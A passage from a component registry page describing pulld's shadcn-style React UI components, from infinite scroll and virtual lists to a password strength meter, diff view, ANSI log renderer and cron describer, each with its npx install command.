The footer of a list that keeps going: an invisible sentinel that loads the next page as it scrolls into view, plus a Load more button that always does the same job by hand. Reach for it on a feed or timeline, search results, a notification or activity list, a product or photo grid, a comment thread, chat history, an audit log, or any 'show more' at the end of a long table. Common asks it answers: "infinite scroll", "infinite scrolling react", "load more on scroll", "load more button", "endless scroll", "auto load next page", "IntersectionObserver load more", "react-infinite-scroll-component alternative", "scroll pagination", "fetch next page when the sentinel is visible", "lazy load a long list". shadcn/ui's pagination is numbered page links and nothing else — it renders no rows and loads nothing — so progressive loading gets hand-rolled every time, and the same three things break. Here the page footer stays reachable, because automatic loading yields to the button after autoLoadLimit pages (default 3, and a press grants another run) instead of running the page away from whatever is below the list. Each page is announced through a polite live region ("20 more items loaded. 60 in total.") rather than rows appearing in silence, and the button uses aria-disabled instead of disabled so pressing it never drops focus out of the list. And a failed page stops the sentinel and offers Retry instead of hammering a broken endpoint in a loop. Return a promise from onLoadMore and the duplicate-fire guard is exact; a loader that only bumps a page number is held until the list actually changes, so it asks once instead of firing a burst. A first page shorter than the viewport keeps loading until the viewport is full — the usual bug there is a sentinel that never leaves the screen, so no second intersection event ever comes and the list stops loading forever. Controlled: pass hasMore, itemCount and onLoadMore, and render it directly after your rows — it draws no list of its own, so it goes at the end of a ul or a grid unchanged. A table is the one place it needs placing by hand: this renders a div, and the HTML parser hoists a div written inside tbody out of the table entirely and drops it above the table, breaking the layout and hydration with it — so put it after the closing table tag, or inside a td with colSpan in a footer row. Optional loading for react-query or SWR, error for your own failure state, root for a list that scrolls inside a box rather than the page, rootMargin (default 200px) to prefetch early, auto={false} for button-only, and labels to reword or translate every string. Styled with shadcn tokens so it follows light and dark themes; lucide-react is the only dependency, with no Radix and no scroll library.

npx shadcn@latest add https://pulld.pages.dev/r/infinite-scroll.json

Virtual List

A long list that only puts the rows you can see into the DOM: five thousand rows render as about thirty nodes, so the page stops taking seconds to paint and scrolling stops stuttering. Reach for it on an admin table or data grid, a log, audit or event viewer, chat and message history, search results over a big local array, a file or asset browser, a select with thousands of options, or any list where you already hold every row in memory. Common asks it answers: "virtual list react", "virtualized list", "windowing", "react-window alternative", "react-virtualized alternative", "TanStack Virtual without the wiring", "render 10000 rows react", "long list is slow to render", "list virtualization with dynamic row heights", "variable height virtual list", "scroll performance long list", "only render visible items". shadcn/ui has no virtualization at all — its table renders every row you hand it — so this gets wired up by hand against TanStack Virtual or react-window each time, and the same four things break. Focus survives here: the row you tabbed into stays mounted after it scrolls out of the window, instead of being unmounted under you and dropping focus to the top of the page. Screen readers get the real position, because every row carries aria-posinset and aria-setsize — "item 4,213 of 5,000", not a count of the handful that happen to be mounted — and the spacer that holds the scroll height is marked presentational so the list and its items stay related. The view does not jump: rows are measured as they mount with a ResizeObserver, and when a row above the viewport turns out taller than the estimate, or older rows are prepended, the scroll offset is corrected against a row-keyed anchor in a layout effect, before the browser paints. That anchor is why prepending older chat messages keeps the message you were reading exactly where it was. And positions can be restored, via defaultScrollOffset plus a ref handle with scrollToIndex(index, "auto" | "start" | "center" | "end"), scrollToOffset and getScrollOffset. Rows may be any height and nothing has to be declared up front; estimateItemHeight (default 48) is only the guess used before a row has been measured, and overscan (default 4) sets how many rows are kept mounted beyond the edges. Controlled by count plus a render function — children is called with an index, so the data can live anywhere — with itemKey for stable identity, onScroll and empty. Defaults to role list/listitem; pass role="listbox" and itemRole="option" when the rows are selectable. Set the height with className (the default is h-72); rows are absolutely positioned, so give them padding rather than a vertical margin. Vertical only, and find-in-page reaches mounted rows only, which is inherent to windowing. Styled with shadcn tokens so it follows light and dark themes, and it ships with no dependencies at all — no Radix, no virtualization library.

npx shadcn@latest add https://pulld.pages.dev/r/virtual-list.json
Show more

Read More

Long text clamped to a few lines with a Show more / Show less toggle that appears only when the text is genuinely too long. Use it wherever text is usually short but occasionally is not: product and marketplace listing descriptions, comments, reviews and replies, user bios and profile blurbs, release notes and changelog entries, incident and error detail, log lines, AI answers and summaries, job posts, FAQ answers, and long cells in a card or table. Common asks it answers: "read more button", "show more / show less", "expandable text", "truncate text with a show more link", "line clamp with toggle", "collapsible paragraph", "see more link", "clamp description to 3 lines", "react-show-more-text alternative", "text truncation with expand". shadcn/ui ships nothing for this, and its collapsible is a different thing — a generic open/close container whose trigger is always there and which does no clamping — so the genuinely awkward part is left to you: deciding whether the toggle should exist at all. This measures the rendered text and renders the control only when the clamped box actually overflows, so a list of mostly-short entries does not sprout a pointless "Show more" under every one of them. It re-measures when the column resizes and the text rewraps, and again once web fonts have loaded, because a clamped box keeps its height while the line count underneath it changes; an element that is off screen in a closed tab or accordion measures zero, which it treats as "unknown" rather than "it fits", so the toggle is not dropped while the text is out of view. The clamp is applied as inline style rather than Tailwind's line-clamp-N utility, because `lines` is a runtime value and a dynamic `line-clamp-${n}` class is invisible to Tailwind's scanner — it would work in dev and silently vanish from the production build. Accessibility is where the hand-rolled version usually goes wrong: the full text always stays in the DOM and is only clipped visually, so screen readers read all of it and find-in-page still reaches it, instead of the usual text.slice(0, 200) that destroys the content for everybody; the control is a real button carrying aria-expanded and aria-controls pointing at the text. Clipped is not hidden, so a link inside the invisible part is still in the tab order — focus landing there expands the block rather than letting the browser scroll the clamped box and shear the text mid-line. Collapsing pulls the block back into view when it has already scrolled off the top, so the reader is not dumped further down the page. Uncontrolled by default; pass expanded and onExpandedChange to drive it from an "expand all" control. Styled with shadcn tokens (ring, muted-foreground) so it follows light and dark themes, and ships with no dependencies beyond your own cn util.

npx shadcn@latest add https://pulld.pages.dev/r/read-more.json
quarterly…v3.xlsx

Middle Truncate

One line of text with the middle removed so that both ends stay readable, fitted to whatever width the container actually gives it. Use it for file names — where ordinary CSS truncation eats the extension and every row ends up reading "quarterly-report-2026-fin…" — and for file paths and breadcrumbs, URLs, S3 and object-storage keys, IPFS CIDs, git SHAs and commit hashes, docker image digests, wallet and contract addresses, API keys, tokens and JWTs, request, trace and session IDs, branch and artifact names, email addresses in a narrow column, and any other identifier whose tail is the part that tells two of them apart. The places it usually goes: a file or storage browser, an uploads list, a table cell in a fixed-width column, a sidebar file tree, a build or deploy log, a commit list, an API-keys settings page, a connected-wallet button, and any breadcrumb that has to survive a narrow window. Common asks it answers: "truncate the middle of a string", "middle ellipsis react", "truncate middle component", "truncate a filename but keep the extension", "ellipsis in the middle of text", "shorten a wallet address to 0x1234…abcd", "truncate ethereum address react", "truncate a long path from the middle", "text-overflow ellipsis but centered", "css truncate middle", "tailwind truncate middle", "abbreviate a long ID", "responsive text truncation", "react-middle-truncate alternative", "react-truncate alternative", "smart ellipsis". CSS genuinely cannot do this — text-overflow: ellipsis only ever cuts the end, and there is no middle variant to reach for — and official shadcn/ui has no truncation primitive anywhere: its table and card are layout, scroll-area scrolls text it never shortens, and tooltip can show the full value but cannot decide what the short one should be. So it is normally hand-rolled as a fixed character count, which is wrong at every container width except the one it was tuned for. Distinct from pulld read-more, which expands a long passage the reader may want all of, from char-counter, which counts what is being typed rather than shortening what is shown, and from code-block, which wraps or scrolls rather than eliding. Pairs with copy-field and copy-button (the shortened key is the one you show, the full one is the one you copy), with upload-list and tree-view, whose rows are exactly these names. This measures the rendered text against the box it has to fit and binary-searches the cut point, so it fills the space exactly; it re-measures when the column resizes and again once web fonts have loaded, because a font swap changes every glyph width without changing the box. It cuts on grapheme boundaries using Intl.Segmenter, so an emoji, flag or accented letter landing on the cut does not become a replacement glyph the way a raw slice() would — which matters more here than elsewhere, since the cut point moves every time the container resizes. The full string stays in the DOM and only the visible copy is shortened: screen readers get the whole value instead of "0x4f2a ellipsis 91bc", find-in-page still matches it, and selecting the line copies the full text exactly once rather than the shortened form. Hovering shows the full value as a tooltip. It takes its width from its container — a flex row, a grid track, or a fixed width — and needs no min-w-0 to shrink; inside a shrink-to-fit parent there is nothing to fit to, so it simply renders in full. Zero npm dependencies, one file, and it inherits whatever type styles surround it rather than imposing its own.

npx shadcn@latest add https://pulld.pages.dev/r/middle-truncate.json
On this pageInstallationUsageOptionsAPI

Table of Contents

A table of contents for the page the reader is on, with the section they are currently reading highlighted as they scroll. Use it for the "On this page" rail beside documentation and guides, API references, changelogs and release notes, long blog posts and tutorials, handbooks, legal and policy pages, and reports. Common asks it answers: "table of contents component", "toc sidebar", "on this page nav", "scrollspy", "scroll spy in React", "highlight the active heading while scrolling", "docs right rail", "anchor link navigation", "in-page navigation", "sticky table of contents", "MDX toc", "react-scrollspy alternative". shadcn/ui ships nothing for this, and its navigation-menu and sidebar are for moving between pages, not around one. You pass the headings in as items — the shape rehype-slug, MDX and Contentlayer pipelines already hand you — so the list is rendered on the server and the links work before, and without, JavaScript; only the highlight needs the client. The awkward part is deciding which heading counts as current, and this fixes the three ways a hand-rolled one gets it wrong. The last section is normally shorter than the viewport, so its heading never reaches the activation line and the final entry can never light up — reaching the bottom of the scrollable area selects the last heading, because there is nothing further to read. A section stays current while it is being read rather than only while its heading is on screen, which is where an IntersectionObserver checking is-it-visible goes blank on any section taller than the window. And clicking an entry starts a scroll lasting hundreds of milliseconds, during which every heading it travels past would light up in turn, leaving the entry you clicked as the one thing not highlighted; the list holds your choice until the scroll settles, and hands control straight back if you grab the page mid-flight. offset clears a sticky site header, both for where a click lands and for where the current section begins, since the browser's own fragment jump puts the heading underneath it. It re-measures on resize and once web fonts have loaded, follows a nested scroller when the app shell scrolls an inner element instead of the window, and honours prefers-reduced-motion. The active entry is marked with aria-current="location" rather than colour alone, so it is announced and not merely seen; because clicking has to preventDefault to apply the offset, focus is moved to the heading the way the browser would have, so a keyboard reader lands in the section instead of carrying on down the contents. Modifier and middle clicks are left alone, so opening a section in a new tab still works.

npx shadcn@latest add https://pulld.pages.dev/r/toc.json
03/14/2026

Date Input

A date field you type into, one segment at a time, that emits an ISO "YYYY-MM-DD" string. Use it for date of birth and signup forms, booking and check-in/check-out dates, card expiry, invoice and due dates, report ranges, and admin filters — anywhere the reader already knows the date and wants to type it rather than hunt for it in a month grid. Common asks it answers: "date input", "date field", "typed date entry", "dd/mm/yyyy input", "segmented date field", "date of birth input", "birthday field", "keyboard accessible date picker", "date picker without a calendar", "react-day-picker alternative", "input type=date replacement", "styled native date input". shadcn/ui ships no typed date entry: its calendar is a month grid you click, and the Date Picker page composes that calendar into a popover behind a read-only trigger button, so the only keyboard route is arrow-keying around a grid; input-otp is segmented but for fixed-length codes with no date meaning. This is the typing half, and it composes with calendar rather than replacing it. The work is in the parts that are easy to get wrong. Segment order comes from the locale through Intl, so en-US renders month/day/year, en-GB and de-DE day/month/year, and ja-JP year/month/day, instead of the hardcoded M/D/Y that silently means the wrong day for most of the world; the calendar is pinned to Gregorian, so a Buddhist or Japanese-era locale cannot hand back the year 2569 or 8 to be emitted as though it were Gregorian. The day is clamped whenever the month or year changes, so January 31 switched to February becomes the 28th — or the 29th in a leap year, by the full 4/100/400 rule — instead of the silent rollover into March that a raw Date gives you. Auto-advance is decided by range rather than by a fixed two-digit count: typing 5 into the month jumps straight to the next segment because no month starts with 5, while 1 waits for a possible 10, 11 or 12, and a pair that cannot exist starts a new number instead of dropping the keystroke. Arrow keys step a segment, wrapping month and day, clamping the year, and seeding an empty segment from today; Backspace clears and steps back; Home, End and left/right move between segments. Each segment is a spinbutton with its own label and value range, and the month is announced by name rather than as a bare number. Values outside min/max are flagged with aria-invalid without ever blocking typing, the way a native date input behaves. Works controlled or uncontrolled, forwards a ref to the first segment so a shortcut can focus it, and mirrors the ISO value into a hidden input for native form submit. Theme-aware via shadcn tokens; no dependencies — no date library, no react-day-picker.

npx shadcn@latest add https://pulld.pages.dev/r/date-input.json
Requests · 30d

Sparkline

An inline SVG trend line — a sparkline — that shows the shape of a series in about the space of a line of text. Use it when you need a chart small enough to live inside something else: a 7-day or 30-day trend next to a KPI in a stat card or dashboard tile, a per-row usage or activity graph in a table (requests, spend, errors, signups, page views), a mini price or metric history, a tiny “last N days” graph in a list item, or any micro / inline / thumbnail chart where axes, gridlines, a legend and a tooltip would just be noise. It renders as a plain <svg> with no hooks, no state and no effects, so it works unchanged inside a React Server Component, in a static export, and with JavaScript disabled — there is no “use client” in the file. Different from shadcn/ui’s official chart, which is a ~10KB wrapper around Recharts (it declares recharts@2.15.4 as a dependency and also pulls in card) meant for full charts with axes, tooltips and legends: this is one zero-dependency file that draws a single path and needs nothing but your cn util. Different from gauge and progress-ring, which draw one current value as an arc rather than a series over time. It handles the parts hand-written sparklines get wrong: null, undefined and NaN entries are treated as gaps that keep their slot on the x axis and break the line, instead of being dropped (which slides the rest of the series sideways) or drawn as zero (which invents a crash that is not in the data); a flat series is centred rather than dividing by zero and emitting a NaN path that silently renders nothing at all; the plot area is inset by half the stroke so the highest and lowest points are not sliced in half by the viewport edge; vector-effect=“non-scaling-stroke” keeps the line an even weight when the SVG is stretched across a wide table cell, and the last-value dot is drawn as a round line cap so it stays a circle instead of being squashed into an ellipse by that same stretch. Pass min and max to pin the scale so a whole column of sparklines is actually comparable — autoscale every row to its own extremes and they all end up looking like the same shape. It also ships an aria-label generated from the data (“12 points, up from 3 to 91, low 3, high 94”), where shadcn’s own chart.tsx sets no role=“img” or aria-label of its own; pass your own aria-label to override it, or aria-hidden when a surrounding stat card already announces the number. Props: data, width, height, min, max, strokeWidth, area, showLast, formatValue.

npx shadcn@latest add https://pulld.pages.dev/r/sparkline.json
My Post!
/blog/my-post

Slug Input

A URL slug field that fills itself in from a title and then gets out of the way. Use it wherever a record needs a URL: the permalink or slug field in a blog post editor or CMS admin form, a page or docs route segment, a product handle, a workspace or team URL, a category or tag slug, a public profile handle. Type a title, watch the slug appear as kebab-case, and edit it whenever you want — this is the part hand-rolled fields get wrong. It keeps deriving only while the field still holds exactly what it generated, so editing the slug by hand, or loading an existing slug from your database, stops the derivation for good: renaming a published post cannot silently change its URL. Leave the field empty and blur, and it goes back to following the title. Every keystroke is sanitised in place — lowercased, spaces and punctuation collapsed to a single hyphen (or underscore), accents folded away — while the caret stays exactly where you were typing, which is what breaks when you naively assign a transformed value back to a controlled input. Unicode is handled rather than mangled: NFKD folding turns "Café au lait" into cafe-au-lait, "Łódź" into lodz, and the letters decomposition leaves whole are spelled out ("Straße" becomes strasse, not strae). Pass allowUnicode to keep the title's own script instead — without it a Japanese, Chinese, Korean, Greek, Cyrillic, Hebrew or Arabic title slugifies to an empty string, and with it combining marks stay attached to their letter, so がっこう does not quietly become かっこう. maxLength cuts a generated slug back to a whole word rather than mid-syllable, apostrophes disappear instead of splitting words ("don't panic" becomes dont-panic), and pasting a full URL takes just its last path segment. Zero dependencies, one import, shadcn tokens, optional prefix like example.com/blog/ wired to the input with aria-describedby. Common asks it answers: "slug input react", "auto generate slug from title", "permalink field component", "slugify input react", "url handle field", "kebab case input", "seo friendly url input", "slug field cms form", "react slug generator component", "github-slugger alternative", "slugify npm alternative", "editable slug with auto fill", "stop slug changing after publish", "slug input with prefix", "unicode slug transliteration react", "japanese title to slug". Typing with an IME is handled rather than fought: while a composition is open the field shows exactly what the engine put there and sanitises nothing, because transforming a half-formed character writes the old text back and loses the composition — and because not every engine fires compositionend before blur, leaving the field mid-word still commits what was on screen. Distinct from the other text fields here: masked-input imposes a fixed shape on what you type, char-counter counts toward a limit, floating-label-input is about the label, and inline-edit turns text into a field on click — none of them derive their value from another field, which is the whole of this one. Official shadcn/ui has no slug or permalink field — its input is a bare element and input-group is an assembly kit with no logic in it — and a slugify npm package solves the string, not the field: the caret, the do-not-stomp rule and the typing-in-progress state are what this component is.

npx shadcn@latest add https://pulld.pages.dev/r/slug-input.json
••••••••
Fair

Password Strength

A password strength meter for a sign-up, registration, change-password or reset-password form — the bar under the password field that says Weak or Strong, plus one line saying why. It scores how many guesses a password would survive rather than ticking off one uppercase, one number, one symbol: composition rules push people toward Password1!, which is guessed instantly, and reject correct horse battery staple, which is not. NIST SP 800-63B says the same — screen against known-bad passwords and let length do the work. It detects the things that make a password look random without being random: entries from a built-in list of the passwords that top every breach dump (folded through leet substitutions, so P@ssw0rd is found where password is, and unaffected by capitalisation), repeated characters, runs through the alphabet or the digits, runs along a keyboard row, and years and dates. The check hand-rolled meters always miss is userInputs: pass the email, username, display name or your product name and Acme2026! stops scoring as strong on acme.com — including the joined-up forms that separators hide, so Acme Co catches acmeco. Pass blocklist to add your own breach list on top; the built-in one is deliberately small, because a real one is megabytes and belongs behind an API. estimatePasswordStrength is exported on its own, pure and synchronous, so the same score that draws the meter can disable your submit button or drive a zod refine — no async, no 800 kB zxcvbn bundle, no dependencies at all. Accessibility is the other half: the bars are a role="meter" with aria-valuetext, and only the band name sits in the aria-live region, so a screen reader hears "Weak" once when the password crosses a band instead of being read to on every keystroke — which is what an aria-live wrapped around the whole widget does. The advice line is tied to the meter with aria-describedby instead — give the component an id and it derives one for the advice and wires it up; without an id the advice is still read, just in document order rather than together with the meter. Warnings and suggestions come back as stable codes with an overridable message table, so the meter translates. It uses no hooks, so it renders in a server component and needs no "use client" of its own. Official shadcn/ui has nothing for passwords — no meter, no blocklist, no scorer; its input is a bare element and field and input-group are assembly kits with no logic in them. It scores a password but does not collect one: the field it sits under is this registry’s `password-input`, which is the same bare element with the show/hide eye and its accessible naming already wired. Pass this component that field’s value and the two compose into the whole password row.

npx shadcn@latest add https://pulld.pages.dev/r/password-strength.json
retries: 3-timeout: 30+timeout: 60debug: off

Diff View

A line-by-line diff of two strings — the before/after view a screen needs when it has to show what changed: a config or settings change, a record edited in an admin panel, a document revision, a webhook payload against the last one, an audit-log entry, a restored backup next to what is live, or the edit an AI agent is proposing before the user accepts it. Common asks it answers: "react diff component", "diff viewer react", "show what changed between two strings", "before and after comparison react", "git style diff in react", "unified diff component", "side by side diff react", "split diff view", "react-diff-viewer alternative", "diff2html alternative", "jsdiff without the rendering", "diff two json strings visually", "show config changes in an admin panel", "audit log before and after", "document revision comparison", "review an AI agent's proposed edit before accepting it", "collapse unchanged lines in a diff", "colorblind accessible diff", "diff in a react server component", "diff without a client bundle". Pass before and after and it renders a git-style diff, unified by default or side by side with view="split". Unchanged lines collapse into a counted gap, so a 400-line file with a three-line change shows three lines and a summary instead of 400; context sets how many surrounding lines survive and context={Infinity} shows the whole text. Both line-number gutters are select-none, so selecting the diff copies the code and not a column of numbers. CRLF and LF are folded together, because a file that changed only its line endings would otherwise report every single line as rewritten. It is meaning-first rather than colour-first: every changed row carries a + or - sign and a screen-reader-only "Added line:" / "Removed line:" prefix, so the diff still reads for someone who cannot tell the red and green backgrounds apart — conveying the change by colour alone, which fails WCAG 1.4.1, is the single most common defect in a hand-rolled diff. The table also gets an sr-only caption stating how many lines were added and removed. The diff is a longest-common-subsequence over lines with the shared prefix and suffix trimmed off first, which keeps a large document with a small edit fast (a 4,000-line file with one changed line diffs in well under a millisecond) and makes an appended line read as appended instead of shifting everything by one. Pathologically large inputs degrade to "this block was replaced" rather than allocating a table of hundreds of megabytes during a render. No dependencies, no diff library and no hooks, so it renders inside a React server component without a "use client" of its own and ships no client JavaScript — which is the common case, because the text being compared has usually just been fetched on the server. Official shadcn/ui has no diff component of any kind — the string "diff" is zero hits across all 62 of its fetchable items (measured 2026-09-27): its table is an unstyled table and its chart is a Recharts wrapper, and neither computes or displays a change. Distinct from the pulld pieces it sits beside: code-block shows one snippet with its own copy button and makes no claim about change, json-viewer explores a single object by folding it, ansi-log replays terminal output with its colour codes intact, highlight-text marks matches inside one string, read-more truncates one passage, and image-comparison is the same before/after question asked of two pictures with a slider rather than of two texts line by line.

npx shadcn@latest add https://pulld.pages.dev/r/diff-view.json

Calendar Heatmap

A year of daily counts as a grid of shaded squares — the GitHub-style contribution graph, drawn for whatever your app counts per day: commits, deploys, orders, sign-ins, posts, workouts, lessons, support tickets, API calls, or a habit tracker's streak. Pass data as [{ date: '2026-08-10', count: 12 }] and it renders 53 columns of 7 squares with month and weekday headers; sparse data is fine, since a day with no row is drawn as a day with nothing, and two rows for the same day are summed rather than one silently winning. Shading is by quartile of the days that had any activity, so a single 500-commit day does not flatten the rest of the year into one pale block the way scaling against the maximum does — pass thresholds to cut the levels yourself. Dates are held as integers, days since the epoch in UTC, and never as Date objects: new Date('2026-08-10').getDay() is parsed as UTC midnight and answers with the previous day anywhere west of Greenwich, which silently rotates the whole grid by one row, and it is the single most common defect in a hand-rolled contribution graph. Nothing reads the clock either — the window is anchored to the last date in your data, not to Date.now(), so the server and the browser always render the same markup. It is a real table with month columns, weekday row headers and a screen-reader name on every square ('12 commits on Monday, August 10, 2026'), so the year is readable to somebody who cannot tell the four shades apart; conveying a value by colour alone fails WCAG 1.4.1, and the colour key is hidden from assistive technology instead of being announced as five unlabelled swatches. The grid scrolls horizontally on a narrow screen and takes keyboard focus, because a scrollable region that cannot be reached by keyboard puts a year of data out of reach. Shades are one opacity ramp of your theme's primary token, so it follows light and dark without a palette of its own. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing that draws this, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping all 223,289 bytes of source, heatmap, contribution, getDay, getUTCDay, quartile, epoch, daysSince, colorScale, intensity, toISOString, activity, streak and <rect are every one of them a zero hit, and so are Date.now and new Date( — that registry performs no date arithmetic anywhere. Its calendar is a react-day-picker date picker for choosing a day, which pulls in date-fns and the button component, and its chart is a Recharts wrapper; neither plots a value per calendar day. Distinct from the pulld pieces it sits nearest: sparkline draws one line of values with no calendar underneath and no notion of a missing day, ratio-bar splits a single total into parts, gauge and progress-ring show one number against a target, stat-card shows a figure and its change, weekly-hours edits an opening-hours schedule rather than plotting counts, month-picker and date-input choose a date, and timeline lists events in order. This is the only one keyed to the calendar itself, where the shape of the year — the gaps, the weekends, the streaks — is the information. Common asks it answers: "github contribution graph react", "contribution heatmap component", "calendar heatmap react", "activity calendar react", "year in squares chart", "daily activity grid react", "streak calendar component", "habit tracker grid react", "commits per day visualization", "shadcn heatmap", "shadcn contribution graph", "shadcn calendar heatmap", "react-activity-calendar alternative", "react-github-calendar without github", "cal-heatmap react", "nivo calendar alternative lightweight", "recharts has no calendar heatmap", "heatmap without d3", "contribution graph off by one day", "heatmap grid shifted one row", "getDay returns wrong day timezone", "date string parsed as UTC javascript", "new Date('2026-08-10').getDay() wrong", "heatmap all squares same color", "one big day flattens my heatmap", "quartile color scale heatmap", "accessible heatmap screen reader", "color alone conveys value wcag", "server component chart no use client", "ヒートマップ カレンダー react", "草 コントリビューション グラフ", "日別 集計 可視化".

npx shadcn@latest add https://pulld.pages.dev/r/calendar-heatmap.json
$npm run build✓ built in 1.2s✗ 2 errorsexit code 1

ANSI Log

Renders raw terminal output — escape sequences and all — as styled, theme-aware HTML. Reach for it wherever a process's own output has to be shown inside a page: CI and build logs, deploy and release output, npm/pnpm/cargo/docker build output piped into a dashboard, test-runner results, job and worker logs in an admin panel, an agent or LLM tool-call transcript, git and lint output in a code-review UI, or the output pane of a web terminal. Common asks it answers: "ansi to html react", "render ANSI colours in the browser", "ci log viewer component", "terminal output component react", "build log with colours", "convert ANSI escape codes", "shadcn log viewer", "docker logs in a web UI", "colored console output in React". It handles the parts a hand-rolled converter gets wrong. A carriage return moves the cursor instead of breaking the line, so a progress bar that redraws itself stays one line reading "100%" rather than turning into a hundred lines of noise — and the tail a shorter redraw does not cover survives, exactly as on a real terminal. Erase-in-line (all three modes), backspace, the 16 named colours, the full 256-colour palette including the 6x6x6 cube and the 24-step grey ramp, 24-bit truecolor, both the semicolon and the colon spelling of extended colour that libvte and kitty emit, bold, dim, italic, underline, strike and reverse video. Every sequence it does not implement — cursor moves, hide-cursor, alternate-screen, window-title OSC — is consumed rather than printed as visible gibberish, which is the usual failure of a parser that only knows about the colour sequence. OSC 8 hyperlinks keep their label and drop their target deliberately: a URL in a log is exactly as attacker-supplied as the log is, and turning it into a live anchor would put javascript: one click away. Colour follows your theme instead of a fixed terminal palette — the 16 named colours are light/dark pairs chosen against the panel, and backgrounds are drawn as a translucent wash rather than a solid block, so text can never land on a saturated slab below contrast in one theme or the other. The scroll region takes keyboard focus, since a log that only scrolls with a mouse puts the right-hand end of every long line out of reach. The optional line-number gutter is not selectable, so dragging across the log copies the log and not a column of numbers, and maxLines keeps the end of the log — the failure is at the bottom — while saying out loud how many earlier lines it dropped instead of quietly presenting a suffix as the whole thing. No dependencies and no hooks, so it renders inside a React server component with no "use client" of its own and ships no client JavaScript. shadcn/ui has nothing of the kind: there is no log, terminal or ANSI item in its registry, and a plain code block shows escape sequences as literal characters.

npx shadcn@latest add https://pulld.pages.dev/r/ansi-log.json
0 9 * * 1-5At 09:00, Mon–FriThu 09:00 UTCFri 09:00 UTC

Cron Expression

Turns a cron expression into a sentence anyone can read, and lists the next times it fires. Reach for it wherever a schedule is shown rather than edited: a scheduled-jobs table in an admin panel, the summary line under a cron input, backup and report-delivery settings, sync and webhook retry schedules, a CI/CD or deploy cadence, a GitHub Actions / Vercel Cron / Cloudflare Workers Triggers schedule rendered in your own dashboard, or the live preview beside a cron builder. Common asks it answers: "cron to human readable react", "explain a cron expression", "crontab parser component", "describe cron in plain English", "next run time from a cron expression", "cron preview shadcn", "validate a cron expression in a form", "what does 0 9 * * 1-5 mean". It handles the parts a hand-rolled parser gets wrong. The day-of-month and day-of-week fields are ORed when neither is a literal star and ANDed when either one is — so 0 0 13 * 5 runs on the 13th OR on every Friday, not only on Friday the 13th, and 0 0 13 * 0-6 runs every single day even though 0-6 covers the same seven days a star does. That rule is cron's oldest trap, it keys off syntax rather than coverage, and the component both applies it and says so on screen when it is in play. Sunday is both 0 and 7, and the fold happens after a range is expanded, so 5-7 means Friday, Saturday and Sunday instead of collapsing into a backwards range. Ranges, lists, steps, */n, a-b/n, the n/step shorthand, three-letter month and weekday aliases in any position, and the @daily / @hourly / @weekly / @monthly / @yearly / @midnight nicknames all parse; @reboot is reported as having no calendar schedule rather than being invented one; a six- or seven-field expression is named as Quartz/Spring syntax rather than dismissed as invalid, and L, W and # are named as Quartz extensions. Next runs are computed in UTC — the zone GitHub Actions, Vercel Cron and Cloudflare Triggers all schedule in — by stepping whichever field fails rather than a minute at a time, so an expression that only matches on February 29 costs a few thousand comparisons instead of two million, and one that can never match (February 30) ends empty instead of hanging. Run times are formatted without Intl, because a locale-dependent string renders differently on the server and in the browser and turns into a hydration mismatch; pass formatRun to localise it yourself. Nothing reads the clock, so the same props always produce the same markup. An invalid expression is reported inline, in words as well as in colour, with the field and token that failed — conveying state by colour alone fails WCAG 1.4.1 — and the parse helpers (parseCron, describeCron, nextCronRuns) are exported so the same expression can be validated in a form before it is saved. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing for scheduling: calendar is a date picker built on react-day-picker, and progress is a bar with no notion of recurrence.

npx shadcn@latest add https://pulld.pages.dev/r/cron-expression.json
Images46%Video30%Other24%

Ratio Bar

One horizontal bar that shows how a whole is divided up, with a legend that names every part — the GitHub-style language / storage bar. Reach for it whenever the question is "what is this made of?" rather than "how far along is it?": disk or storage usage broken down by file type, a plan or quota bar (seats used, API calls, build minutes, bandwidth), a budget or spend breakdown by category, traffic by source or device, test results split into passed / failed / skipped, a portfolio or vote split, tickets by status, or a repository language bar. Common asks it answers: "stacked bar component react", "percentage breakdown bar shadcn", "storage usage bar", "disk usage breakdown", "quota / capacity bar", "segmented progress bar", "share of total bar", "distribution bar", "usage meter with legend", "percentages that add up to 100". Pass `parts` as `{ label, value }` objects in any unit you like — bytes, requests, dollars — and only the ratios are used. Add `total` to switch from "parts of a whole" to "used out of a capacity": the gap is drawn as empty track and listed as its own row (rename it with `remainderLabel`, or pass `null` to draw it without listing it). `precision` adds decimals, `formatValue` puts the raw figure next to each share, `showLegend={false}` keeps the legend for screen readers only, and each part takes a `className` for its colour (the default is a ramp of your primary colour, which is theme-aware in any shadcn project; pass `bg-chart-1`…`bg-chart-5` or your own classes for distinct hues). It handles the parts a hand-rolled version gets wrong. The percentages are apportioned by largest remainder rather than rounded one at a time, so three equal parts read 34 / 33 / 33 instead of 33 / 33 / 33 and the column always totals exactly 100. A part too small to round to a whole percent reads "<1%" rather than the lie "0%", and a part that is nearly but not quite everything reads ">99%" rather than "100%". Tiny slices keep a two-pixel minimum so they stay visible without stealing width from the rest, while a part worth exactly zero draws nothing at all and is still listed. Negative, NaN and Infinity values count as zero instead of collapsing the layout. The legend names and quantifies every part, so nothing is carried by colour alone (WCAG 1.4.1) and the bar itself is aria-hidden. No hooks and no clock: it renders inside a React server component with no "use client" of its own, ships no client JavaScript, and produces identical markup on the server and in the browser. `ratioPercents` is exported for the same figures in a table or tooltip. Official shadcn/ui has nothing for this: progress is a single value with no parts, and chart is a Recharts wrapper for plotted series rather than one inline bar with no dependencies.

npx shadcn@latest add https://pulld.pages.dev/r/ratio-bar.json

Scroll Progress

A bar that fills as the reader scrolls — the reading indicator across the top of an article, and the "how much is left?" cue on anything long. Use it on blog posts and long-form articles, documentation pages, guides and tutorials, changelogs and release notes, terms / privacy / policy pages, onboarding and multi-section landing pages, reports, and long forms or checkout flows where the reader wants to know how much further there is to go. Common asks it answers: "reading progress bar", "scroll progress bar react", "scroll indicator component", "article reading progress", "page scroll percentage", "Medium-style progress bar", "progress bar at top of page on scroll", "how far down the page has the user scrolled", "scroll-linked progress indicator", "blog reading indicator", "useScrollProgress hook", "track scroll position in React". Drop in `<ScrollProgress className="fixed inset-x-0 top-0 z-50" />` for the classic placement, or render it as an ordinary block under a sticky header. Pass `target={articleRef}` when progress should mean "through this article" rather than "down this page" — on a page that continues into related posts, a comment thread or a tall footer, a whole-page bar is still short of the end when the article has actually been read, and a tracked element fills exactly as the last line arrives. `indicatorClassName` styles the filled part; the track and fill use your `--muted` and `--primary` tokens, so both themes follow automatically with no hardcoded colours. It settles the 